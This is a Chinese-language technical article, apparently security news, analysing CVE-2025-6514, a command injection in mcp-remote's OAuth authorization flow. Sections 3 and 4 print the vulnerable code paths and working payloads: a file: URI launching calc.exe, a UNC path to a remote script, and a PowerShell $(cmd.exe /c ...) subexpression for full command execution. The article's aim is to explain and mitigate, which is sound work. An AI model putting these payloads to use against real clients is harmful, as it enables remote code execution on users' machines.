摘要

本報告提供了對 CVE-2025-6514 的全面技術分析,這是一個在 mcp-remote 元件中發現的嚴重遠端程式碼執行 (Remote Code Execution, RCE) 漏洞。該漏洞允許攻擊者在執行 mcp-remote 的機器上,連接到不受信任的模型環境協議 (Model Context Protocol, MCP) 伺服器時,執行任意作業系統命令。本報告詳細說明了漏洞的觸發機制,分析了相關的程式碼流程,並討論了從有限命令執行到完全命令執行的升級路徑。同時也提出了緩解此重大安全風險的策略。

MCP致命RCE漏洞解析:保護LLM客戶端安全 | 資訊安全新聞

1. 簡介

現代軟體開發與部署的環境越來越依賴於互連的系統和協議。模型環境協議 (MCP) 促進了各元件之間的通訊,特別是在涉及大型語言模型 (Large Language Models, LLMs) 及其客戶端的環境中。然而,這類系統的複雜性和互連性若未妥善保護,可能會引入嚴重漏洞。CVE-2025-6514 mcp-remote 元件中的一個嚴重安全缺陷,該元件作為本地與遠端 MCP 傳輸之間的代理,處理認證和授權功能。此漏洞已公開披露,並構成重大威脅,可能導致系統完全被攻陷 [1]。

本報告的主要目標是剖析 CVE-2025-6514 的技術細節。我們將探討特製輸入如何繞過預定的安全措施,導致任意命令執行。此外,我們將分析涉及攻擊過程的特定程式碼路徑,並展示如何從最初的有限命令執行升級到對被攻陷系統的完全控制。了解這些技術細節對於開發者、安全專業人員和系統管理員來說至關重要,以便有效減輕與此漏洞相關的風險。

2. 漏洞描述 (CVE-2025-6514)

CVE-2025-6514 被分類為作業系統命令注入漏洞 (CWE-78) [2]。此漏洞在 mcp-remote 嘗試與不受信任的 MCP 伺服器建立連線時發生。惡意伺服器可透過回應一個格式錯誤的 authorization_endpoint URL 來利用此漏洞。此端點非用於 OAuth 認證的合法 URL,而是包含一個設計用於注入並執行任意作業系統命令的 malicious payload,影響執行 mcp-remote 的客戶端機器 [1]。

根本缺陷在於對 authorization_endpoint 字串的處理前,缺乏足夠的清理和驗證。當 mcp-remote 試圖在瀏覽器中開啟此特製 URL 時,由於缺乏適當的輸入驗證,注入的命令被作業系統執行,導致遠端程式碼執行場景。這意味著攻擊者透過控制 MCP 伺服器,可以在任何連接到該伺服器的客戶端上指定要執行的命令,且無需用戶在初始連線設定之外的直接互動 [1]。

3. 技術架構與程式碼分析

要完全理解 CVE-2025-6514 的機制,必須檢視 mcp-remote 的技術架構以及實現攻擊的特定程式碼流程。 mcp-remote 元件作為本地與遠端 MCP 通訊的關鍵中介,負責管理認證和授權。當用戶透過將遠端 MCP 伺服器的 URL 新增至 MCP 客戶端的 JSON 設定檔案來設定新伺服器時,應用程式在重新開啟時會執行一個 npx 命令。此命令啟動一個 Node.js 程序,進而呼叫 mcp-remote proxy.ts:runProxy 函數,傳遞提供的 serverUrl [1]。

runProxy 函數中,會實例化一個 NodeOAuthClientProvider 物件,用於遠端伺服器需要授權時。隨後,創建一個 StreamableHTTPClientTransport 物件,並呼叫其 send 方法,傳遞 serverUrl 。若對遠端伺服器(例如 http://remote.server.example.com/mcp )的請求返回 401 Unauthorized 回應,則會觸發對 auth.ts:auth 函數的呼叫,以開始授權程序 [1]。

3.1. 程式碼流程分析

漏洞鏈主要源於 OAuth 授權流程中對 authorization_endpoint URL 的處理。讓我們分析涉及的關鍵函數:

3.1.1. auth 函數

auth 函數(簡化自 auth.ts )是啟動 OAuth 授權流程的核心,漏洞利用從這裡開始。當惡意 MCP 伺服器對初始 discoverOAuthProtectedResourceMetadata 的 fetch 請求回應 401 Unauthorized 狀態時,系統會繼續呼叫 discoverOAuthMetadata 。這是惡意伺服器注入特製 authorization_endpoint 值的關鍵點。伺服器返回的不是標準 HTTP URL,而是一個包含類似 "authorization_endpoint": "file:/c:/windows/system32/calc.exe" 的 JSON 物件 [1]。

  1. export async function auth(
  2. provider: OAuthClientProvider, {serverUrl, authorizationCode?, scope?}): Promise {
  3. let authorizationServerUrl = serverUrl;
  4. try {
  5. /* ### 1 ### */
  6. const resourceMetadata = await discoverOAuthProtectedResourceMetadata(
  7. resourceMetadataUrl || serverUrl);
  8. /* ... */
  9. } catch (error) {console.warn("Could not load OAut..", error)}
  10. /* ### 2 ### */
  11. const metadata = await discoverOAuthMetadata(authorizationServerUrl);
  12. // Handle client registration if needed
  13. let clientInformation = await Promise.resolve(provider.clientInformation());
  14. if (!clientInformation) {
  15. /* ... */
  16. /* ### 3 ### */
  17. const fullInformation = await registerClient(serverUrl, {
  18. metadata,
  19. clientMetadata: provider.clientMetadata });
  20. /* ... */
  21. }
  22. /* ... */
  23. // Start new authorization flow
  24. /* ### 4 ### */
  25. const { authorizationUrl, codeVerifier } = await startAuthorization(authorizationServerUrl, {
  26. metadata,
  27. clientInformation,
  28. redirectUrl: provider.redirectUrl,
  29. scope: scope || provider.clientMetadata.scope,
  30. });
  31. await provider.saveCodeVerifier(codeVerifier);
  32. /* ### 5 ### */
  33. await provider.redirectToAuthorization(authorizationUrl);
  34. return "REDIRECT";
  35. }

3.1.2. startAuthorization 函數

auth 函數之後,會呼叫 startAuthorization 函數。此函數接受包含惡意輸入的 metadata.authorization_endpoint 字串,並用它來建構一個新的 URL() 物件。這一步至關重要,因為在某些環境(特別是使用 'open' npm 套件的 Windows 環境)中, URL() 建構函數未充分清理或驗證 URI 方案。此疏忽允許命令注入發生,因為特製字串被視為有效 URL,儘管包含可執行命令 [1]。

  1. export async function startAuthorization(
  2. serverUrl, {metadata, clientInformation, redirectUrl, scope } {
  3. if (metadata) {
  4. authorizationUrl = new URL(metadata.authorization_endpoint); //javascript:$(calc.exe)
  5. /* ... checks some metadata params that pass ... */
  6. }
  7. /* ... */
  8. /* adding searchParams (query-string) to the authorizationUrl */
  9. authorizationUrl.searchParams.set("response_type", responseType);
  10. /* ... */
  11. return { authorizationUrl, codeVerifier };
  12. }

3.1.3. redirectToAuthorization 函數

最後,呼叫位於 node-oauth-client-provider.ts 中的 redirectToAuthorization 方法。此函數負責將用戶重新導向至建構的授權 URL。它透過呼叫從 'open' npm 套件導入的 open() 函數實現,將 authorizationUrl.toString() 作為參數傳遞並嘗試開啟 [1]。

  1. async redirectToAuthorization(authorizationUrl: URL): Promise {
  2. log(`\nPlease authorize this client by visiting:\n${authorizationUrl.toString()}\n`)
  3. try {
  4. await open(authorizationUrl.toString()) /* ### 6 ### */
  5. log(\'Browser opened automatically.\')
  6. } catch (error) {
  7. /* ... *
  8. }
  9. }

3.2. 命令執行細節

實際命令執行是由於 'open' npm 套件在 Windows 系統上的行為。當以惡意 URL 呼叫 open() 函數時,它執行一系列動作,導致任意作業系統命令的執行:

  1. 首先定位 powershell.exe 可執行檔案。
  2. 接著準備一個包含 authorizationUrl 作為參數的 PowerShell 編碼命令。
  3. 此編碼命令隨後在新的子程序中執行,命令列為:
                 
                  powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand '...'
                 
  4. 最後,PowerShell 解碼並執行該命令。例如,若 authorization_endpoint 設為 file:/c:/windows/system32/calc.exe ,PowerShell 將執行 Start "file:/c:/windows/system32/calc.exe?response_type=code....." ,有效啟動 calc.exe [1]。

此過程在原始文章的 **Figure 7** 中透過 calc.exe 的成功執行得到視覺確認,展示了漏洞的即時影響。

4. 升級至完全命令執行

雖然初始攻擊允許執行任意可執行檔案,但通常無法傳遞參數,限制了攻擊者的實用性。原始研究探討了幾種技術,將此有限執行升級為完全命令執行,實現更複雜的攻擊 [1]。

4.1. 初始有限執行

最直接的利用方法是使用 file: URI 方案。例如,提供 file:/c:/windows/system32/calc.exe?response_type=code..... 直接執行 calc.exe 。然而,此方法不允許包含參數,這在實際攻擊中通常是必要的 [1]。

4.2. UNC 路徑與安全警告

嘗試使用 UNC 路徑執行遠端檔案,例如 file://IP_ADDR/Share/test.bat?response_type=code..... ,可能成功。此技術指向網路資源,允許執行遠端腳本或可執行檔案。然而,Windows 在嘗試從不受信任的網路位置運行可執行檔案時,通常會顯示安全警告,如原始文章的 **Figure 12** 所示。此警告可能會提醒用戶並阻止攻擊 [1]。

4.3. PowerShell 子表達式評估

更隱秘的方法是利用 PowerShell 的子表達式評估功能。透過在 URL 中嵌入命令,例如 http://www.example$(calc.exe).com/?response_type=code..... ,PowerShell 會執行嵌入的命令。子表達式運算子 $( ) 評估其參數表達式,允許命令注入。此技術的主要挑戰是空格的 URL 編碼。由於空格在 URL 中無效,它們會被編碼為 %20 或導致 new URL() 呼叫失敗,阻止直接注入參數 [1]。

4.4. 實現完全命令執行

實現完全命令執行的突破是發現提供不包含反斜線的非現有方案可防止 URL 編碼。這一關鍵發現允許攻擊者注入帶有參數的任意命令,而不被 URL 編碼改變。例如,像 a:$(cmd.exe /c whoami > c:\temp\pwned.txt)?response_type=code..... 的 payload 成功執行 cmd.exe 並帶有指定參數,在 C:\temp 中創建名為 pwned.txt 的檔案。這展示了對被攻陷系統的完全控制,如原始文章的 **Figure 13** 所示,顯示了 pwned.txt 檔案的創建 [1]。

5. 影響與緩解措施

CVE-2025-6514 漏洞由於其遠端程式碼執行的潛力,構成嚴重的安全風險。攻擊者在運行 mcp-remote 的機器連接到不受信任的 MCP 伺服器時,執行任意作業系統命令的能力,可能導致系統完全被攻陷。這包括但不限於安裝惡意軟體、竊取敏感資料以及完全控制受影響的系統。此漏洞的廣泛影響凸顯了立即採取有效緩解策略的重要性 [1]。

為減輕與 CVE-2025-6514 相關的風險,應實施以下措施:

  1. 嚴格的輸入驗證與清理: 最關鍵的步驟是在 mcp-remote 元件中對 authorization_endpoint URL 實施嚴格的輸入驗證與清理。這應確保僅處理合法且格式正確的 URL,防止任何形式的命令注入。
  2. 最小權限原則: mcp-remote 程序應以最低必要的權限運行。限制其權限可顯著降低成功利用的影響,防止攻擊者獲得對系統的完全控制。
  3. 網路出口過濾: 實施嚴格的網路出口過濾有助於控制被攻陷的 mcp-remote 實例的損害。透過限制僅連接到必要且受信任的目的地,攻擊者將更難竊取資料或建立命令與控制通道
  4. 軟體更新: 用戶應確保其 mcp-remote 安裝在可用的最新修補版本發布後立即更新。軟體供應商負責發布解決此類漏洞的安全修補程式。
  5. 受信任的伺服器連線: 用戶應僅將 mcp-remote 連接到受信任的 MCP 伺服器。避免連接到未知或可疑的伺服器可防止漏洞的初始觸發。

6. 結論

CVE-2025-6514 突顯了 mcp-remote 元件中的一個嚴重遠端程式碼執行漏洞,源於對 authorization_endpoint URL 的不當處理。此缺陷允許惡意 MCP 伺服器在客戶端機器上注入並執行任意作業系統命令,可能導致系統完全被攻陷。對漏洞觸發機制、程式碼流程和升級技術的詳細分析凸顯了此問題的嚴重性。透過了解技術細節,包括 PowerShell 子表達式評估的作用和 URL 編碼的繞過,可開發並實施有效的緩解策略。遵循安全編碼的最佳實踐、實施嚴格的輸入驗證以及保持軟體更新對於保護系統免受此類複雜攻擊至關重要。

Copyright © 2025 版權所有 翊天科技有限公司